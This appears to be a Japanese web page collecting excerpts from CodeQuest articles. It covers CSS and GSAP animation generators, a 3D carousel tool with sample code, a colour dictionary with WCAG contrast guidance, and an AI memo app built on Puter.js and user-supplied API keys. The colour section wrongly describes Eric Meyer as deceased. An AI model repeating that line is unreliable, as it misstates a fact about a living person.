CSSだけのスクロール追従ガラス URL：codequest.work/generator/liquid-glass-css-generator/ WebGLを使わず、CSSのbackdrop-filterだけでスクロールに追従する屈折ガラスを作るツールです。軽量でJSに依存せず、コードをコピーするだけで導入できます。 主な機能： backdrop-filterのぼかし・彩度の調整 スクロールに追従する屈折表現 CSSのみ・JS不要で軽量 生成コードのワンクリックコピー 詳しい使い方は「CSSだけで作るスクロール追従リキッドガラス｜ライブ屈折ジェネレーターの使い方」で解説しています。 5. リキッドメタルボタン — WebGLで液体金属の質感 URL：codequest.work/generator/liquid-metal-button/ WebGLで、液体金属のように反射してうねるボタンを生成するツールです。コードを書かずに金属の色や流動の速さを調整し、埋め込み用コードを取得できます。 主な機能： 金属色・反射・コントラストの調整 うねり・流動スピードの設定 WebGLによるリアルタイムプレビュー 埋め込み用コードの出力 詳しい使い方は「WebGLで作るリキッドメタルボタン｜液体金属の質感をコードなしで作る」で解説しています。 アニメーション・カルーセル系ツール 要素の動きやスライダー、3Dの回転など、サイトに動きを足すためのツール群です。プレビューで動きを確かめながら、コピペで使えるコードを取得できます。 6. CSSアニメーションギャラリー — 100種をプレビューしてコード取得 URL：codequest.work/generator/animation-gallery/ 3Dを含む100種類以上のCSSアニメーションを一覧でプレビューし、気に入ったものの@keyframes込みコードを取得できるギャラリーです。ホバーや読み込み時の動きづけに役立ちます。 主な機能： 3D含む100種以上のアニメーションを収録 カテゴリ別に一覧表示 ホバー / 読み込み時の動きを確認 @keyframes込みのコードをコピー 詳しい使い方は「CSSアニメーションをコピペで使える無料ツール｜3D含む100種をプレビューしてコード取得」で解説しています。 JavaScript（GSAP）で動かす表現を探している場合は、姉妹ツールのGSAPアニメーションをコピペで使える無料ツールにトゥイーン・タイムライン・ScrollTriggerのサンプルをまとめています。 7. スライダー／カルーセル ジェネレーター — Swiper・Splide・Slick対応 URL：codequest.work/generator/slider-generator/ Swiper・Splide・Slickの3ライブラリから選び、表示枚数・エフェクト・自動再生・レスポンシブまでGUIで設定して、コピペできるスライダーのコードを出力するツールです。 主な機能： 3ライブラリをタブで切り替えて比較 PC / スマホで表示枚数を出し分け フェード・カバーフロー・無限スクロール等 CDN＋HTML＋初期化JSをまとめて出力 詳しい使い方は「スライダー／カルーセルをコピペで作る無料ツール｜Swiper・Splide・Slick対応の使い方ガイド」で解説しています。 8. 3Dカルーセル ジェネレーター — GSAPで回る6タイプ URL：codequest.work/generator/carousel-3d/ メリーゴーランド・観覧車・カードスタックなど6タイプの3D回転カルーセルを生成するツールです。枚数・半径・遠近などを調整し、ドラッグで慣性をつけて回せるGSAP込みコードを出力します。 主な機能： 6つの3Dタイプをテンプレートから選択 枚数・半径・遠近・傾き・速度・色を調整 ドラッグで慣性をつけて回せるプレビュー GSAP CDN込みの完全版コードを出力 詳しい使い方は「3Dカルーセルをコピペで作る無料ツール｜GSAPで回る6タイプの使い方ガイド」で解説しています。 9. CSSホバーエフェクト ギャラリー — ナビ・リンク向け100種をコピペ URL：codequest.work/generator/hover-effects-gallery/ ナビゲーションやテキストリンク向けのホバーアニメーション100種類を、実際にマウスを乗せて試しながら選べるギャラリーです。下線・ボーダー・背景塗り・3D・発光など9カテゴリを収録し、HTML+CSSをワンクリックでコピーできます。すべてCSSのみで、外部ライブラリは不要です。 主な機能： 下線・3D・発光など9カテゴリ100種を収録 カードにホバーして実際の動きを確認 アクセント色・サブ色を変更してからコピー JS不要のHTML+CSSをワンクリック取得 詳しい使い方は「CSSホバーエフェクトをコピペで使える無料ツール｜ナビ・リンク向け100種を試してコード取得」で解説しています。 10. ハンバーガーメニュー CSSギャラリー — アイコン変形と開閉パターンをコピペ URL：codequest.work/generator/hamburger-menu-gallery/ 3本線が×に変わるアイコン変形60種と、ドロワー・フルスクリーンなどの開閉アニメーション30種を、実際にクリックして試しながら選べるギャラリーです。アイコンの動きとメニューの出方を独立して選べるため、既存サイトのボタンだけ差し替えることも、一式まとめて導入することもできます。外部ライブラリは不要です。 主な機能： アイコン変形60種・開閉パターン30種をタブで切り替え カードのボタンを押して開閉の動きを確認 アクセント色・サブ色を変更してからコピー HTML+CSS+JSをワンクリック取得（開閉状態はaria-expandedで管理） 詳しい使い方は「ハンバーガーメニューのCSSをコピペで使える無料ツール｜アイコン変形と開閉アニメーションを試してコード取得」で解説しています。 11. ページ遷移アニメーション CSSギャラリー — カーテン・ローディングをコピペ URL：codequest.work/generator/page-transition-gallery/ 幕が開閉するカーテン演出20種、フェードやワイプなどの遷移演出10種、読み込み中に見せるローディング画面12種を、再生ボタンで実際に動かして選べるギャラリーです。CSSの再生時間とJavaScript側の待ち時間があらかじめ揃った状態でコードを取得できます。 主な機能： カーテン・ページ遷移・ローディングの3カテゴリを収録 カードをクリックして演出を最初から再生 「表示中を順に再生」で候補をまとめて比較 タイミング調整済みのHTML+CSS+JSをワンクリック取得 詳しい使い方は「ページ遷移アニメーションをコピペで使える無料ツール｜カーテン・ローディングを試してコード取得」で解説しています。 12. GSAPアニメーション ギャラリー — トゥイーン・ScrollTriggerをコピペ URL：codequest.work/generator/gsap-animation-gallery/ 唯一のJavaScript（GSAP）系ギャラリーです。基本のトゥイーンやタイムラインに加え、スクロールに連動するScrollTriggerの演出、1文字ずつ動くテキスト、SVGの線描画までをカード上で再生して選べます。コピーされるコードはCDNの読み込みまで含んでいるため、貼り付けたその場で動きます。 主な機能： トゥイーン・タイムライン・ScrollTriggerなど7カテゴリを収録 スクロール連動はカード内のスクロールでその場で確認 CDNの読み込みを含む完全版コードをワンクリック取得 有料プラグインを使わない構成（読み込みは最小限） 詳しい使い方は「GSAPアニメーションをコピペで使える無料ツール｜ScrollTrigger対応100種」で解説しています。 13. 動くアイコン ジェネレーター — アニメSVG・PNGをダウンロード URL：codequest.work/generator/animated-icon-generator/ 唯一の「コードではなくファイルを渡す」ツールです。動きの付いたアイコンを12カテゴリから選び、色・サイズ・速さ・ループ回数を決めてダウンロードできます。書き出したアニメSVGは動きの指示をファイル内に持っているため、img要素で貼るだけで動きます。外部のCSSもJavaScriptも読み込みません。 ### [3Dカルーセルをコピペで作る無料ツール｜GSAPで回る6タイプの使い方ガイド](https://codequest.work/carousel-3d-generator-tool/) 3Dカルーセル ジェネレーターとは、メリーゴーランドや観覧車のように立体的に回転するカルーセルを画面上で設定するだけで、コピペできるコード（GSAPの読み込み＋HTML＋CSS＋初期化JS）を出力してくれる無料ツールです。枚数・半径・遠近・傾き・速度・色を、コードを書かずに調整できます。 3Dカルーセル ジェネレーターを使ってみる → 3Dで回るカルーセルは見栄えがする一方、自前で作ろうとすると手が止まります。perspectiveとtransform-style: preserve-3dで奥行きを作り、各カードをrotateYとtranslateZでリング状に並べ、さらにドラッグで慣性をつけて回す——という三段構えを、角度計算をしながら自分で書く必要があるからです。タイプを「観覧車」や「カードスタック」に変えようとすると、配置のロジックそのものを書き直すことになります。 この記事では、CodeQuestが公開している3Dカルーセル ジェネレーターの使い方を解説します。6つの3Dタイプの選び方、枚数や半径などのパラメータ調整、出力されるGSAP込みコードの構成、画像の差し替えまでを、実際の操作に沿って紹介します。ブラウザだけで完結し、登録は不要、生成したコードは商用サイトでもそのまま使えます。 このツールでできること 3Dカルーセル ジェネレーターは、角度計算やGSAPの記法を覚えなくても、動く3Dカルーセルのコードを手に入れることに特化しています。主な機能は次のとおりです。 機能内容6つの3Dタイプメリーゴーランド／縦回転／カードスタック／フラワー／キューブ／観覧車をテンプレートから切り替えパラメータ調整枚数・半径・遠近（perspective）・傾き・速度・色をスライダーで設定し、プレビューに即反映ドラッグで回せるプレビューマウスやタッチでつかんで回せる。慣性がついて、離してもしばらく回り続けるダーク／ライト切り替え背景を切り替えて、明暗どちらの面でも見え方を確認できるGSAP込みのコピペ出力GSAPのCDN読み込み＋HTML＋CSS＋初期化JSを、自己完結した完全版コードとして出力画像の差し替え前提サンプル入りの完成コードが出るので、画像URLを差し替えればそのまま動く 画像やデータをサーバーに送信せず、すべてブラウザ内で処理します。アニメーションエンジンにはGSAPを使っており、GSAPは商用サイトでも無料で利用できます（公式サイトは gsap.com）。 6つの3Dタイプと使いどころ このツールの特徴は、同じ画像のまま6つの3Dの回り方を切り替えて比較できる点です。タイプによって与える印象も向いている用途も変わります。まずはどれを選ぶかの目安から整理します。 タイプ動き向いている用途メリーゴーランド水平のリング状に並んで横回転する、もっとも定番の3Dカルーセル商品展示・ポートフォリオ一覧縦回転縦方向の輪で上下に回る縦長カード・スマホ向けの見せ方カードスタック重なったカードを手前から奥へ送るレビュー・実績の一枚ずつの紹介フラワー中心から花びらのように放射状に広がって回るギャラリーの主役・インパクト重視キューブ立方体の面が回転して切り替わる少数枚を印象的に見せたいとき観覧車大きな輪で各カードの向きを保ったまま回る写真ギャラリー・物語性のある演出 迷ったら、まずはメリーゴーランドから試すのがおすすめです。3Dカルーセルとして見慣れた動きで、枚数や半径を変えたときの変化が直感的につかめます。インパクトを出したいセクションにはフラワーや観覧車、少数枚をきっちり見せたいならキューブ、という選び方になります。 使い方：3ステップでコードを作る 操作はおおきく3ステップです。難しい設定はありません。 タイプを選ぶ： テンプレートからメリーゴーランド・観覧車などのタイプを選びます。あとから切り替えても設定は引き継がれるので、同じ条件で見比べながら決められます。 パラメータを調整する： 枚数・半径・遠近・傾き・速度・色を、プレビューを見ながらスライダーで動かします。プレビューはドラッグで実際に回せるので、止めたい位置やスピード感をその場で確かめられます。 コードをコピーする： 生成された「GSAP CDN込み・完全版」のコードをコピーボタンで取得し、貼り付けます。読み込み・HTML・CSS・初期化スクリプトがひと続きになっているので、画像のURLを差し替えるだけで動きます。 ダーク／ライトの切り替えで、配置するページの背景に近いほうでも確認しておくと、本番に貼ったときの印象のズレを減らせます。 調整できるパラメータ一覧 各パラメータは、3Dカルーセルの見え方をコントロールするためのものです。動かすとプレビューに即反映され、出力コードの値も連動して書き換わります。 パラメータ役割枚数リングに並べるカードの数。多いほど密に、少ないほど一枚ずつが大きく見える半径回転の輪の大きさ。大きくすると外側に広がり、奥行きが強調される遠近（perspective）カメラとの距離感。小さいほどパースが強く、立体感が誇張される傾きリング全体を上下に傾ける角度。見下ろし／見上げの構図を作る速度自動回転やドラッグ後に回り続ける速さ色カードやアクセントの配色。背景の明暗に合わせて調整する とくに半径と遠近はセットで効いてくるパラメータです。半径を大きくして奥行きを出しつつ、遠近を小さくしすぎると手前のカードだけが極端に大きくなり、崩れて見えることがあります。プレビューを回しながら、両方のバランスを取るのがコツです。 生成されるコードの中身 出力されるのは、GSAPのCDN読み込み・HTML・CSS・初期化JSが一体になった完全版です。たとえば基本のメリーゴーランド型では、おおよそ次のような構成のコードが得られます。 <!-- 1. <head> に GSAP を読み込み --> <script src="https://cdn.jsdelivr.net/npm/gsap@3/dist/gsap.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/gsap@3/dist/Draggable.min.js"></script> <!-- 2. CSS（奥行きを作る部分） --> <style> .stage { perspective: 1200px; } /* 遠近 */ .ring { transform-style: preserve-3d; } /* 子要素を3D空間に */ .card { position: absolute; } </style> <!-- 3. HTML --> <div class="stage"> <div class="ring"> <div class="card"><img src="1.jpg" alt="" /></div> <div class="card"><img src="2.jpg" alt="" /></div> <!-- 枚数だけカードを並べる --> </div> </div> <!-- 4. </body> 直前に初期化 --> <script> const cards = gsap.utils.toArray('.card'); const radius = 320; /* 半径 */ const step = 360 / cards.length; /* カード間の角度 */ /* 各カードをリング状に配置 */ cards.forEach((card, i) => { gsap.set(card, { rotationY: i * step, transformOrigin: '50% 50% ' + (-radius) + 'px' }); }); /* ドラッグで慣性をつけて回す */ Draggable.create('.ring', { type: 'rotationY', inertia: true }); </script> ポイントは、親にperspective、回す要素にtransform-style: preserve-3dを当てて3D空間を作り、各カードを360 ÷ 枚数ずつrotationYでずらしてリングに並べているところです。回転と慣性はGSAPのDraggableが担当します。タイプ（観覧車・カードスタックなど）が変わると、この配置ロジックがそれぞれの並べ方に差し替わります。実際の出力には、選んだタイプやパラメータに応じた値が入った状態でコードが生成されます。 ドラッグで回す「慣性」の仕組み このツールの3Dカルーセルは、つかんで回すと指を離してもしばらく回り続けます。これは慣性（イナーシャ）と呼ばれる挙動で、GSAPのDraggableが「離した瞬間の速さ」をもとに、徐々に減速しながら自然な位置で止まるように計算してくれます。 自分で実装する場合は、ドラッグの移動量を回転角に変換し、離したあとの減速をフレームごとに計算する必要があります。このツールではそこをinertia: trueに任せているため、出力コードを貼るだけで「ぬるっと回って止まる」操作感が再現されます。速度スライダーは、自動回転とこの慣性後の回り続ける勢いの両方に効きます。 画像・コンテンツの差し替え方 出力コードにはサンプル画像が入っています。HTML内の各<img>のsrcを自分の画像URLに差し替え、カードを必要な枚数だけ増減すればそのまま動きます。枚数を変えたときは、ツール側の「枚数」もそろえておくと、角度の計算がずれずにきれいなリングになります。 カードに入れるのは画像だけに限りません。各.cardの中はふつうのHTMLなので、見出しやボタンを置けば商品カードやプロフィールカードの3Dカルーセルにもできます。ただし回転中はカードが斜めを向くため、文字は大きめ・短めにして、正面付近で読ませるのが読みやすさのコツです。 手書き実装・他ツールとの使い分け CodeQuestにはカルーセル・スライダー関連のツールや記事がいくつかあります。さっとコードを作るか、仕組みから手で実装するかは、目的に合わせて選んでください。 やりたいこと向いている方法3Dで回るカルーセルのコードをすぐ手に入れたいこのツール3Dカルーセルの仕組みを理解しながら手で実装したい3Dカルーセルの実装解説記事Swiper・Splideなど2Dの定番スライダーを作りたいスライダー／カルーセル ジェネレーター 奥行きや回転の仕組みをtransformから理解したい場合は、CSSとJavaScriptで作る3Dカルーセルの実装ガイド が近道です。perspectiveやrotateYの意味を順番に解説しています。 3DではなくSwiper・Splide・Slickのような定番の2Dスライダーが必要なら、スライダー／カルーセルをコピペで作る無料ツール のほうが向いています。表示枚数やレスポンシブの出し分けに強いツールです。 カルーセルに組み合わせるホバーや表示アニメーションを足したいときは、CSSアニメーションをコピペで使える無料ツール も合わせてどうぞ。 よくある失敗・注意点 3Dカルーセルを実装するときに、つまずきやすいポイントを3つにまとめます。 画像の縦横比がバラバラでガタつく： サイズの違う画像を混ぜると、カードごとに大きさが変わって輪が乱れます。img { width: 100%; height: 100%; object-fit: cover; }でカードの枠に合わせて切り抜くと安定します。 枚数を増やしすぎて重なる： 半径に対してカードが多すぎると、隣どうしが重なって読めなくなります。 ### [色の辞書の使い方｜日本の伝統色とCSS名前付き色を由来から引けるツール](https://codequest.work/color-dictionary-tool/) 色の辞書とは、色の名前とカラーコード（HEX/RGB/HSL）に加えて、名前の由来と色が持つ意味・印象をまとめて引ける辞典です。このツールは、千年以上の歴史を持つ日本の伝統色と、Webにそのまま書けるCSSの名前付き色を、あわせて約240色収録しています。色名・読み・HEXで検索し、気になった色をクリックすれば、由来・意味・相性のよい配色・コントラスト比まで確認できます。 色の辞書を使ってみる → 「この赤、なんという名前だっけ」「tealって結局どんな色」——配色を考えるとき、色の名前やコードを思い出せずに手が止まることがあります。逆に、HEXは分かっても、その色がどんな由来でどんな印象を与えるのかまでは、なかなか調べられません。色を「コード」としてだけ扱っていると、配色の意図を言葉で説明できず、デザインの説得力が弱くなりがちです。 この記事では、CodeQuestが公開している色の辞書の使い方を解説します。伝統色とCSS名を横断して検索・絞り込みする方法、各色の詳細でわかること（由来・意味・配色・コントラスト）、そして実際のWebデザインでの色の選び方までを、操作に沿って紹介します。ブラウザだけで完結し、登録は不要です。 日本の伝統色とCSSの名前付き色を、同じ画面で引く このツールの特徴は、性格の異なる2系統の色を1つの辞典として横断的に引ける点です。ひとつは茜色や浅葱色のような日本の伝統色。もうひとつは crimson や teal のように、CSSへそのまま書ける名前付き色（カラーキーワード）です。 どちらも、名前そのものに由来や物語を持つ色です。伝統色は染料・顔料や自然の情景から、CSS名は鉱物や生き物、地名などから名づけられてきました。色の辞書は、この2系統を同じカードの形で並べ、由来・意味・カラーコード・コントラストを同じ手順で確認できるようにしています。「和の色を探す」と「コードに書ける色を探す」を、ツールを切り替えずに行き来できるのが狙いです。 このツールでできること 色の辞書は、色を「探す・知る・コピーする」ことに特化しています。主な機能は次のとおりです。 機能内容2系統を収録日本の伝統色とCSSの名前付き色をあわせて約240色を、同じ画面で横断的に引ける横断検索漢字の色名・ひらがなの読み・ローマ字・英語名・HEXのいずれでも検索できる絞り込みカテゴリ（伝統色／CSS名）と色相（赤・青など）の2軸で一覧を絞れるカラーコード各色のHEX・RGB・HSLをワンクリックでコピー。一覧カードからはHEXをすばやくコピー由来と意味名前の由来と、色が与える印象・使いどころを各色に掲載相性のよい配色その色に合わせやすい色を提示し、そのままコピーできるコントラスト白背景・黒背景それぞれとのコントラスト比とWCAG等級（AA／AAA）を表示 入力やコピーはすべてブラウザ内で処理され、サーバーには送信されません。表示されるカラーコードは、商用・個人を問わずそのまま利用できます。 使い方：3ステップで色を引く 操作はおおきく3ステップです。むずかしい設定はありません。 探す： 上部の検索欄に色名・読み・HEXを入れるか、カテゴリと色相のボタンで一覧を絞り込みます。漢字でもひらがなでも、ローマ字や英語名でも引けます。 選ぶ： 気になった色のカードをクリックすると、詳細が開きます。由来・意味・相性のよい配色・コントラスト比をその場で確認できます。 コピーする： 詳細画面でHEX・RGB・HSLのうち必要な形式をクリックしてコピーします。一覧のカードに表示されるアイコンからは、HEXだけをすばやくコピーできます。 コピーすると画面下に小さな通知が出るので、コードが取れたことを目で確認できます。コードを書く前の「色を決める」段階で、名前から入っても、雰囲気（色相）から入っても、同じようにたどり着けるのがこのツールの使い心地です。 検索と絞り込み：名前でも雰囲気でも探せる 色の探し方は、大きく「名前で検索する」「絞り込みで眺める」の2通りです。色名がはっきり分かっているなら検索、ぼんやりとした雰囲気から選びたいなら絞り込みが向いています。 検索欄は、ひとつの色について複数の手がかりに対応しています。たとえば「あさぎ」「浅葱」「asagi」のどれでも浅葱色にたどり着けます。カタカナで入力しても自動でひらがなに読み替えるので、読みの表記ゆれを気にせず探せます。HEXは # を付けても付けなくても検索できます。 探し方入力・操作の例向いている場面漢字の色名茜色／江戸紫名前を知っている伝統色を引くひらがな・カタカナの読みあさぎ／アサギ漢字が思い出せないときローマ字・英語名asagi／tealCSS名や読みから引くHEX#b7282e／b7282eコードから名前・由来を逆引きするカテゴリ絞り込み「日本の伝統色」「CSS名」系統をしぼって眺める色相絞り込み赤・橙・黄・緑・青・紫・桃・茶・白黒灰欲しい色味から候補を見渡す カテゴリと色相は組み合わせられます。たとえば「CSS名 × 青」に絞れば、コードに書ける青系の名前付き色だけが並びます。「和の赤を探したいが名前は知らない」なら「日本の伝統色 × 赤」で一覧を眺めるのが近道です。 色の詳細でわかること カードをクリックすると、その色の詳細が開きます。ここがこのツールのいちばんの中心で、ただのカラーコード表とは違うところです。詳細では次の情報を確認できます。 カラーコード（HEX／RGB／HSL）： 3形式をそれぞれワンクリックでコピー。HEXは大文字で表示され、用途に合わせて選べます。 名前の由来： その色がどの染料・鉱物・情景から名づけられたかを短く解説。配色の意図を言葉にするときの裏付けになります。 色の意味・印象： その色がどんな印象を与え、どんな場面に向くかをまとめています。 相性のよい配色： その色に合わせやすい色を提示。クリックでコピーでき、配色のたたき台にできます。 コントラスト比： 白背景・黒背景それぞれとのコントラスト比と、WCAGの等級を表示。文字色として読みやすいかの判断に使えます。 つまり「この色は何という名前で、なぜその名前で、どんな印象を持ち、何と合わせると映え、文字色として使えるか」までを、ひとつの画面でまとめて把握できます。コードを取るだけでなく、その色を選んだ理由を説明できるようになるのがねらいです。 日本の伝統色 ― 名前に物語がある色 日本の伝統色は、植物や鉱物の染料・顔料、あるいは自然や暮らしの情景から名づけられてきました。名前を知ることは、その色がまとう文化的な背景を知ることでもあります。色の辞書では、由来のはっきりした代表的な伝統色を収録しています。 染料・顔料に由来する色： 茜色はアカネの根で染めた赤、藍色や群青は青の染料・顔料に由来します。 植物・自然に由来する色： 浅葱色はネギの若葉のような薄い青緑、桜色や山吹色は花の色からとられています。 地名・時代に由来する色： 江戸紫は江戸で愛された青みの紫で、土地や時代の好みが名前に残っています。 伝統色は彩度や明度が落ち着いているものが多く、Webデザインでは世界観を出す主役色やアクセントに向きます。たとえば茜色を差し色にするだけで、画面に和の温かみが生まれます。名前の由来まで添えてデザインを説明できると、クライアントへの提案にも説得力が出ます。 CSSの名前付き色 ― コードにそのまま書ける色 CSSには crimson や teal のように、HEXの代わりに直接書けるカラーキーワード（名前付き色）があります。MDNのリファレンスによると、CSSの名前付き色は <named-color> として147色が定義されています（MDN: named-color）。color: crimson; のように書け、HEXより意味が読み取りやすくなります。 /* HEXで書くと色の見当がつきにくい */ .btn { background: #dc143c; } /* 名前付き色なら「深紅」だと読み取れる */ .btn { background: crimson; } /* teal（鴨の羽の青緑）も一語で意味が伝わる */ .card { border-color: teal; } これらの名前にも由来があります。crimson はエンジムシ（カイガラムシ）から採った深紅、teal はコガモの羽に見られる青緑が語源です。なかでも rebeccapurple は、Webの草分けだった故Eric Meyer氏の娘Rebeccaを追悼して2014年にCSSへ追加された紫として知られています。色の辞書では、これらの名前の背景もあわせて引けます。 なお、名前付き色には gray と grey のような綴り違いの同一色があります。色の辞書ではこうした重複を1色に統合して整理しているため、収録数は仕様上の147色より少なめの約140色になっています。 配色とコントラスト ― 読みやすさをWCAGで確かめる きれいな色を選んでも、背景とのコントラストが足りないと文字が読めません。色の辞書の詳細画面では、その色を白背景・黒背景に置いたときのコントラスト比と、WCAG（Webアクセシビリティのガイドライン）の等級を表示します。文字色として使えるかどうかを、感覚ではなく数値で判断できます。 W3CのWCAG 2.1（達成基準1.4.3）では、通常サイズの文字と背景のコントラスト比を4.5:1以上（AA）、大きな文字は3:1以上とすることが求められています（W3C: Understanding SC 1.4.3）。より厳しいAAAでは7:1以上です。色の辞書はこの基準に沿って等級を出しています。 コントラスト比等級目安7:1 以上AAA小さな文字でも十分に読みやすい4.5:1 以上AA通常の本文として推奨される基準3:1 以上AA（大きい文字）見出しなど大きな文字なら許容3:1 未満—文字色としては避けたい たとえば淡い色を白背景の文字に使おうとすると、たいていコントラストが足りません。詳細画面で「白背景では基準を満たさないが、黒背景ならAA」と分かれば、文字色ではなく背景色に回す、濃い同系色に替える、といった判断ができます。色を決める段階でここまで確認しておくと、あとから読みづらさで作り直す手間を減らせます。 Webデザインでの色の選び方 色をたくさん知っても、やみくもに並べると画面はまとまりません。配色は「色数を絞り、役割を決める」のが基本です。色の辞書で気になる色を見つけたら、次の順番で組み立てると失敗しにくくなります。 基調色（ベース）を決める： 面積の大きい背景や余白の色。彩度を抑えた色のほうが扱いやすく、白黒灰の絞り込みが役立ちます。 主役色（メイン）を1つ： ブランドや世界観を表す色。伝統色から選ぶと独自性が出ます。 差し色（アクセント）を1つ： CTAや強調に。主役の補色や、彩度の高い色を少量だけ効かせます。 コントラストを確認する： 文字と背景の組み合わせは詳細画面のコントラスト比でAA以上を目安にチェックします。 主役色を選ぶときは、各色の詳細にある「相性のよい配色」が出発点になります。提示された色をコピーして、基調色や差し色の候補として並べてみると、配色の全体像が早くつかめます。画面の中の写真やイラストから色を拾いたいときは、画像カラーピッカー で抽出した色と組み合わせると、素材に馴染む配色を作れます。選んだ色を「なぜその色か」まで説明できると、配色の判断がブレません。色選びの理由を言葉にする練習は デザインの言語化トレーニング が参考になります。 他の色・配色ツールとの使い分け 色の辞書は「名前と由来から色を引く」辞典です。配色まわりには目的の違うツールや記事があるので、やりたいことに合わせて選んでください。 ### [APIキー不要でAIに聞ける付箋メモアプリを作った｜Puter.jsでGPT・Claudeを呼ぶ仕組み](https://codequest.work/ai-shirabe-memo-app/) 「AIでちょっと調べながらメモ」は、付箋に質問を書いて「送信」するとAIが回答を返してくれる、登録不要・無料のメモアプリです。ホワイトボードに付箋を貼る感覚で使え、付箋ごとにAIチャットとふつうのメモを切り替えられます。Puter.jsを使っているのでAPIキーなしでGPTやClaudeに聞けて、自分の無料APIキーを入れれば回答の精度や速度を自分で調整することもできます。 AIでちょっと調べながらメモを使ってみる → 調べ物をしているとき、ブラウザのタブとAIチャットとメモ帳を行き来して、せっかく聞いた答えがどこへ行ったか分からなくなる——そんな経験はないでしょうか。AIに質問するたびに別の画面へ移り、得た答えを手元のメモへ貼り直す手間は地味に積み重なります。調べることと、書き留めることが別々の場所にあるのが原因です。 この記事では、CodeQuestが公開しているAIでちょっと調べながらメモの使い方と、その裏側の仕組みを解説します。付箋の基本操作から、APIキーなしでAIが動くPuter.jsのしくみ、回答精度を上げるBYOK（自分のAPIキー）の考え方、データがブラウザだけに保存されるプライバシー設計まで、実際の操作と開発者目線の両方で紹介します。ブラウザだけで完結し、登録は不要です。 「AIでちょっと調べながらメモ」とは AIでちょっと調べながらメモは、付箋に質問を書いて送信するとAIが答えを返し、その答えをそのまま付箋に残せる無料のメモアプリです。調べることとメモすることが1枚のボード上で完結するのが最大の特徴で、AIに聞いた内容がそのままメモとして手元に蓄積されていきます。 付箋ごとに「AI」と「メモ」を切り替えられるので、AIに質問する付箋と、ただ書き留めるだけのふつうの付箋を同じボードに混在させられます。たとえば左の付箋でAIに用語を聞きながら、右の付箋に自分の考えをまとめる、といった使い方ができます。内容はブラウザに自動保存され、運営のサーバーには送信されません。 このアプリでできること 機能はシンプルですが、「調べる」と「書く」を1か所にまとめるための要素がひととおり揃っています。 機能内容付箋ボードホワイトボード上に付箋を自由に貼り、ドラッグで移動・サイズ変更・色分けして整理できるAI⇄メモの切り替え付箋ごとに「AIに聞く付箋」と「ふつうのメモ」をトグルで切り替え（内容は両方とも保持）マルチターン会話同じ付箋に続けて送信すれば、文脈を保ったままAIとの会話を続けられる複数AIに対応キー不要のPuterと、自分のキーで使うGemini・Groq・Claudeを切り替え可能画像・ファイルの添付送信欄の📎から画像やファイルを付箋に添付して表示（表示のみ・AIには送らない）付箋を探す画面左端のタブから付箋一覧を開き、タイトルで検索して目的の付箋へジャンプ自動保存変更はブラウザ（localStorage）に自動保存。サーバーへは送信しない 入力したメモ・会話・APIキーはすべてブラウザ内だけで扱われ、運営のサーバーには送られません。AIに質問する付箋だけがAIのAPIと通信し、ふつうのメモは完全にローカルで完結します。 基本の使い方 はじめての場合も、付箋を1枚出して質問を打つだけで使い始められます。手順は次のとおりです。 付箋を追加する： メニューの「＋ 付箋を追加」を押すか、ボードの空いているところをダブルクリックすると新しい付箋が出ます。 AIに聞く： 付箋にメッセージを入力して「送信」。回答が付箋に表示され、続けて送信すれば会話をそのまま続けられます。 メモに切り替える： 付箋上部の「AI / メモ」トグルで、AIを使わないふつうのメモ帳としても使えます。AIの会話とメモの内容は別々に保持されます。 使うAIを選ぶ： 右上のメニューでAIを選びます。Puterはキー不要ですぐ使えます（初回だけ無料サインインが必要）。Gemini・Groq・Claudeは自分のAPIキーを入力して使います。 付箋を整える・探す： 左上の●で色変更、タイトルをダブルクリックで編集、ドラッグで移動、右下のつまみでサイズ変更、×で削除。左端の「›」タブから付箋を検索してジャンプできます。 APIキーなしでAIが使える仕組み｜Puter.jsとは Puter（プーター）は、ブラウザから無料でAI（GPT・Claude・Gemini系）を呼び出せるオープンソースのクラウドサービスです。通常、AIをWebアプリに組み込むには各社のAPIキーを取得し、サーバー側にキーを隠して中継する必要があります。Puterはこの仕組みを肩代わりしてくれるため、Puter.jsというスクリプトを1行読み込むだけで、APIキーの登録なしにAIを呼べます。 無料で動く理由は、Puterが採用している「User Pays（利用者が払う）」モデルにあります。AIの利用料を開発者側ではなく、アプリを使うエンドユーザーのPuterアカウント側が負担する設計のため、開発者はAPIコストを気にせずAIを組み込めます。だからこそ初回利用時に、無料のPuterサインインが求められます。Puterの詳細はPuter公式の開発者向けサイトで、ソースコードはGitHub（HeyPuter/puter）で公開されています。 実際の呼び出しは驚くほど短く書けます。HTMLでスクリプトを読み込み、puter.ai.chat()にメッセージを渡すだけです。 <!-- Puter.js を読み込む（これだけでAIが使える） --> <script src="https://js.puter.com/v2/"></script> <script> // APIキー不要。文字列を渡すだけで回答が返る const reply = await puter.ai.chat("日本の首都はどこ？"); console.log(reply); // -> AIの回答テキスト </script> このアプリでは、回答を1文字ずつ表示するためにストリーミング（{ stream: true }）を使い、モデルを指定したいときは{ model: "claude-sonnet-4" }のようにオプションを足しています。会話履歴を配列で渡せばマルチターンの会話もそのまま扱えます。「APIキーなしでこんなに短くAIが動くのか」という体験そのものが、このアプリを作るきっかけになりました。 回答精度を上げたいときはBYOK（自分の無料APIキー） Puterは手軽な反面、どのモデルがどのくらいの精度・速度で動くかをこちらで完全にはコントロールできません。もっと精度や速度を上げたいときは、BYOK（Bring Your Own Key＝自分のAPIキーを持ち込む）に切り替えます。右上のメニューでGemini・Groq・Claudeを選び、自分で取得したAPIキーを入力すると、各社のAPIを直接呼び出すようになります。 BYOKにすると、使うモデルを自分で選べるため回答の質を狙って上げられ、Puterの共有枠に左右されずレスポンスも安定しやすくなります。Google Gemini（Google AI Studio）とGroqはどちらも無料枠から始められ、特にGroqは推論が非常に高速なのが特徴です。AIをWebアプリに組み込むときのAPIの選び方は ローカルLLM vs クラウドAPIの実装判断ガイド でも整理しているので、合わせて参考にしてください。 BYOKの呼び出しは、各社のAPIに直接fetchするだけです。たとえばOpenAI互換のGroqなら、メッセージ配列をそのまま投げられます。 // 自分で取得したAPIキーで、各社のAPIを直接呼ぶ（OpenAI互換のGroqの例） const res = await fetch("https://api.groq.com/openai/v1/chat/completions", { method: "POST", headers: { "Content-Type": "application/json", Authorization: `Bearer ${apiKey}`, // キーはブラウザ内にのみ保存 }, body: JSON.stringify({ model: "llama-3.3-70b-versatile", messages, // [{ role: "user", content: "..." }] の会話履歴 }), }); const data = await res.json(); const text = data.choices[0].message.content; 入力したAPIキーはブラウザ内（localStorage）にのみ保存され、送信先は各AI提供元のAPIだけです。運営や第三者には送られませんが、共有パソコンで有料キーを入力するのは避けてください。 対応AIプロバイダと使い分け（Puter vs 